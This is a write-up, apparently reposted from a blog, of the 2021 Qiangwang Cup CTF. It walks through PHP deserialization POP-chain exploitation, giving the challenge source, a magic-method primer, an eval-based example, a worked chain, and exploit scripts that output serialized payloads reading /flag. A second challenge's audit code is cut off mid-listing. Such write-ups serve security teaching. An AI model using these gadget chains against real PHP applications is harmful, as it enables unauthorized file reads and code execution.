2021强网杯全国网络安全挑战赛Writeup

Posted Tr0e

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了2021强网杯全国网络安全挑战赛Writeup相关的知识,希望对你有一定的参考价值。

前言

上周末端午假期期间(6月12日9:00至6月13日21:00)参与了为期 36h 的第五届强网杯网络安全竞赛,不得不说题目比去年难多了,两天下来腰酸背痛脑壳疼……比赛的数据大致如下:
在这里插入图片描述
幸运的是最终在实力傍队友的情况下,又一年获得竞赛前 10% 有效排名的 “强网先锋” 称号,在此记录下比赛的 Writeup。
在这里插入图片描述

强网先锋-赌徒

在这里插入图片描述
1、下发赛题,访问地址如下:
在这里插入图片描述2、结合题目源码提醒,利用 dirsearch 扫描目录,发现 www.zip:
在这里插入图片描述3、解压缩获得题目源码:

<meta charset="utf-8">
<?php
//hint is in hint.php
error_reporting(1);

class Start
{
    public $name='guest';
    public $flag='syst3m("cat 127.0.0.1/etc/hint");';
	
    public function __construct(){
        echo "I think you need /etc/hint . Before this you need to see the source code";
    }

    public function _sayhello(){
        echo $this->name;
        return 'ok';
    }

    public function __wakeup(){
        echo "hi";
        $this->_sayhello();
    }
    public function __get($cc){
        echo "give you flag : ".$this->flag;
        return ;
    }
}

class Info
{
    private $phonenumber=123123;
    public $promise='I do';
	
    public function __construct(){
        $this->promise='I will not !!!!';
        return $this->promise;
    }

    public function __toString(){
        return $this->file['filename']->ffiillee['ffiilleennaammee'];
    }
}

class Room
{
    public $filename='/flag';
    public $sth_to_set;
    public $a='';
	
    public function __get($name){
        $function = $this->a;
        return $function();
    }
	
    public function Get_hint($file){
        $hint=base64_encode(file_get_contents($file));
        echo $hint;
        return ;
    }

    public function __invoke(){
        $content = $this->Get_hint($this->filename);
        echo $content;
    }
}

if(isset($_GET['hello'])){
    unserialize($_GET['hello']);
}else{
    $hi = new  Start();
}
?>

看到这里猜测是 PHP 反序列化的题目,但是先前了解的相关题目都只是涉及析构函数的利用点,本题看得一脸懵圈,所以立马恶补下 CTF 中关于 PHP 反序列化的套路。

PHP的魔术方法

PHP 中魔术方法的定义是把以两个下划线__开头的方法称为魔术方法,常见的如下:

__construct: 在创建对象时候初始化对象,一般用于对变量赋初值。
__destruct:  和构造函数相反,当对象所在函数调用完毕后执行。
__toString:  当对象被当做一个字符串使用时调用。
__sleep:     序列化对象之前就调用此方法(其返回需要一个数组)
__wakeup:    反序列化恢复对象之前调用该方法
__call:      当调用对象中不存在的方法会自动调用该方法。
__get:       从不可访问的属性中读取数据会触发
__isset():   在不可访问的属性上调用isset()empty()触发
__unset():   在不可访问的属性上使用unset()时触发
__invoke():  将对象调用为函数时触发

更多请查看PHP手册:
https://www.php.net/manual/zh/language.oop5.magic.php

简单例子

<?php
class A{
    var $test = "demo";
    function __wakeup(){
        eval($this->test);
    }
}
$a = $_GET['test'];
$a_unser = unserialize($a);
?>

分析:这里只有一个A类,只有一个__wakeup()方法,并且一旦反序列化会走魔法方法__wakeup并且执行 test 变量的命令,那我们构造如下 EXP 执行 phpinfo() 函数:

<?php
class A{
    var $test = "demo";
    function __wakeup(){
            echo $this->test;
    }
}
$a = $_GET['test'];
$a_unser = unserialize($a);

$b = new A();
$b->test="phpinfo();";
$c = serialize($b);
echo $c;
?>
输出:
O:1:"A":1:{s:4:"test";s:10:"phpinfo();";}

提交输出的 Payload,执行效果如下:
在这里插入图片描述POP链实例

进一步来看一道进阶题目:

<?php
//flag is in flag.php
error_reporting(1);
class Read {
    public $var;
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
    public function __invoke(){
        $content = $this->file_get($this->var);
        echo $content;
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct($file='index.php')
    {
        $this->source = $file;
        echo $this->source.'Welcome'."<br>";
    }
    public function __toString()
    {
        return $this->str['str']->source;
    }

    public function _show()
    {
        if(preg_match('/gopher|http|ftp|https|dict|\\.\\.|flag|file/i',$this->source)) {
            die('hacker');
        } else {
            highlight_file($this->source); 
        }
    }

    public function __wakeup()
    {
        if(preg_match("/gopher|http|file|ftp|https|dict|\\.\\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test
{
    public $p;
    public function __construct()
    {
        $this->p = array();
    }

    public function __get($key)
    {
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['hello']))
{
    unserialize($_GET['hello']);
}
else
{
    $show = new Show('pop3.php');
    $show->_show();
}

【题目分析】对于此题可以看到我们的目的是通过构造反序列化读取 flag.php 文件,Read 类有file_get_contents()函数,Show 类有highlight_file()函数可以读取文件。接下来寻找目标点可以看到在最后几行有 unserialize 函数存在,该函数的执行同时会触发__wakeup魔术方法,而__wakeup魔术方法可以看到在 Show 类中。

1、__wakeup方法:

public function __wakeup(){
   if(preg_match("/gopher|http|file|ftp|https|dict|\\.\\./i", $this->source)) {
       echo "hacker";
       $this->source = "index.php";
   }
}

存在一个正则匹配函数 preg_match(),该函数第二个参数应为字符串,这里把 source 当作字符串进行的匹配,这时若这个 source 是某个类的对象的话,就会触发这个类的__tostring方法,通篇看下代码发现__tostring魔术方法也在 Show 类中,那么我们一会构造 exp 时将 source 变成 Show 这个类的对象就会触发__tostring方法。

2、__tostring方法:

public function __toString(){
    return $this->str['str']->source;
}

首先找到 str 这个数组,取出 key 值为 str 的 value 值赋给 source,那么如果这个 value 值不存在的话就会触发 __get 魔术方法。再次通读全篇,看到 Test 类中存在 __get 魔术方法。

3、__get方法:

 public function __get($key){
    $function = $this->p;
    return $function();
}

发现先取 Test 类中的属性 p 给 function 变量,再通过 return $function() 把它当作函数执行,这里属性 p 可控。这样就会触发 __invoke 魔术方法,而 __invoke 魔术方法存在于Read类中。

4、__invoke方法:

public function __invoke(){
    $content = $this->file_get($this->var);
    echo $content;
}

调用了该类中的 file_get 方法,形参是 var 属性值(这里我们可以控制),实参是 value 值,从而调用file_get_contents函数读取文件内容,所以只要将 Read 类中的 var 属性值赋值为 flag.php 即可。

5、POP链构造:

unserialize 函数(变量可控) –>__wakeup()魔术方法–>__tostring()魔术方法–>__get魔术方法–>__invoke魔术方法–> 触发 Read 类中的file_get方法–>触发file_get_contents函数读取 flag.php。

<?php 
class Show{
    public $source;
    public $str;
}
class Test{
    public $p;
} 
class Read{
    public $var = "flag.php";
} 
$s = new Show();
$t = new Test();
$r = new Read();
$t->p = $r; //赋值Test类的对象($t)下的属性p为Read类的对象($r),触发__invoke魔术方法
$s->str["str"] = $t;//赋值Show类的对象($s)下的str数组的str键的值为 Test类的对象$t ,触发__get魔术方法。
$s->source = $s;//令 Show类的对象($s)下的source属性值为此时上一步已经赋值过的$s对象,从而把对象当作字符串调用触发__tostring魔术方法。
var_dump(serialize($s));
?>

题目POP链构造

经过上面的实例分析,此赛题同理,照葫芦画瓢即可。

构造本题的 EXP:

<?php
class Start
{
    public $name='guest';
    public $flag='syst3m("cat 127.0.0.1/etc/hint");';
}
class Info
{
    public $phonenumber=123123;
    public $promise='I do';
}
class Room
{
    public $filename='/flag';
    public $sth_to_set;
    public $a='';
}
$S = new Start();
$I = new Info();
$R = new Room();
$R->a = $R;
$I->file['filename'] = $R;
$S->name = $I; 
echo serialize($S);
?>

输出Payload:
O:5:"Start":2:{s:4:"name";O:4:"Info":3:{s:11:"phonenumber";i:123123;s:7:"promise";s:4:"I do";s:4:"file";a:1:{s:8:"filename";O:4:"Room":3:{s:8:"filename";s:5:"/flag";s:10:"sth_to_set";N;s:1:"a";r:6;}}}s:4:"flag";s:33:"syst3m("cat 127.0.0.1/etc/hint");";}

提交 Payload,获得 Flag 的 base64 编码:
在这里插入图片描述坑点!需要去除前面的 “hi” 字符再进行 Base64 解码:
在这里插入图片描述

强网先锋-寻宝

在这里插入图片描述
下发赛题,访问链接如下:
在这里插入图片描述该题需要你通过信息 1 和信息 2 分别获取两段 Key 值,输入 Key1 和 Key2 然后解密。

Key1之代码审计

点击“信息1”,发现是代码审计:
在这里插入图片描述完整源码如下:

<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);

function filter($string){
        $filter_word = array('php','flag','index','KeY1lhv','source','key','eval','echo','\\$','\\(','\\.','num','html','\\/','\\,','\\'','0000000');
        $filter_phrase= '/'.implode('|',$filter_word).'/';
        return preg_replace($filter_phrase,'',$string);
    }

if($ppp){
    unset($ppp);
}
$ppp['number1'] = "1";
$ppp['number2'] = "1";
$ppp['nunber3'] = "1";
$ppp['number4'] = '1';
$ppp['number5'] = '1';

extract($_POST);

$num1 = filter($ppp['number1']);        
$num2 = filter($ppp['number2']);        
$num3 = filter($ppp['number3']);        
$num4 = filter($ppp['number4']);
$num5 = filter($ppp['number5']);    

if(isset($num1) && is_numeric($num1))

以上是关于2021强网杯全国网络安全挑战赛Writeup的主要内容,如果未能解决你的问题,请参考以下文章

JBoss未授权访问漏洞Getshell过程复现

第二届“强网杯”全国网络安全挑战赛来袭——线上赛

第五届“强网杯”全国网络安全挑战赛 - 青少年专项赛 crypto

技术分享 || 通过强网杯一道题了解RPO+XSS+CSRF

第二届强网杯部分题writeup

WriteUp_easy_sql_堆叠注入_强网杯2019